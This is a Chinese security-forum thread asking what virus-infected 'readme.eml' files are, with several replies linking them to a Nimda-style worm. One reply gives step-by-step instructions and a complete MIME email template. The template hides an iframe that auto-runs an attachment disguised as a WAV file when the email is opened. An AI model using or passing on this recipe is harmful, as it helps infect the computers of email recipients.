论坛: 病毒专区 标题: 请问:readme.eml是什么文件? 复制本贴地址    
作者: Paper [paper]    论坛用户   登录
我同学的电脑在一次查毒时,发现很多这样的文件感染了病毒,请问这是什么文件,有什么用途,什么样的病毒可以感染这种文件,谢谢!

地主 发表时间: 04/15 19:34

回复: group [group]   论坛用户   登录
这可是好东西:)
杀毒软件最喜欢了

B1层 发表时间: 04/15 22:50

回复: bigworm [bigworm]   论坛用户   登录
可不可以详细点,谁不知道它是病毒?

B2层 发表时间: 04/16 10:56

回复: ghost [ghost]   论坛用户   登录
这好像是妮姆达,也就是欢乐时光的变种

B3层 发表时间: 04/16 12:21

回复: zlc0926 [zlc0926]   论坛用户   登录
别在开玩笑了,请快点告诉他吧!11

B4层 发表时间: 05/16 00:32

回复: runwin [runwin]   论坛用户   登录
用杀毒软件玩它一下就可以啦!

B5层 发表时间: 06/07 12:11

回复: cainiao110 [cainiao110]   论坛用户   登录
可能是带有特殊附件E-mail文件,只要一打开就可以立即执行!很好做的!
你先用OUTLOOK新建一个“新邮件”加上附件,在“另存为”然后用记事本打开,把最长的那一段代码复制下来用记事本建立一个文本文件格式为
From: "xxx" <xxxx@xxx.xxx> 
To: "xxx" <xxxx@xxx.xxx> 
Subject: xxxx 
Date: Tue, 7 Apr 2001 15:16:57 +800 
MIME-Version: 1.0 
Content-Type: multipart/related; 
   type="multipart/alternative"; 
   boundary="1" 
X-Priority: 3 
X-MSMail-Priority: Normal 
X-Unsent: 1 

--1 
Content-Type: multipart/alternative; 
   boundary="2" 


--2 
Content-Type: text/html; 
   charset="gb2312" 
Content-Transfer-Encoding: quoted-printable 

<HTML> 
<HEAD> 
</HEAD> 
<BODY bgColor=3D#ffffff> 
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe> 

</BODY> 
</HTML> 

--2-- 

--1 
Content-Type: audio/x-wav; 
   name="“让你复制的文件的名字”"
Content-Transfer-Encoding: base64 
Content-ID: <THE-CID> 

“刚让你复制的文件的代码”


然后另存为*.eml格式,在打开看看!
很多的网页木马就是这个原理。




[此贴被 菜鸟110(cainiao110) 在 6月11日12时39分 编辑过]

B6层 发表时间: 6/11 12:28

回复: yjfwindows [yjfwindows]   论坛用户   登录
好像是email的一种保存格式吧。

B7层 发表时间: 06/08 17:38

回复: WAF [waf]   论坛用户   登录
我想问一下关于*.eml的文件该怎么删除呀?一般的杀毒软件杀不了,
我该怎么办

B8层 发表时间: 06/08 18:46

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号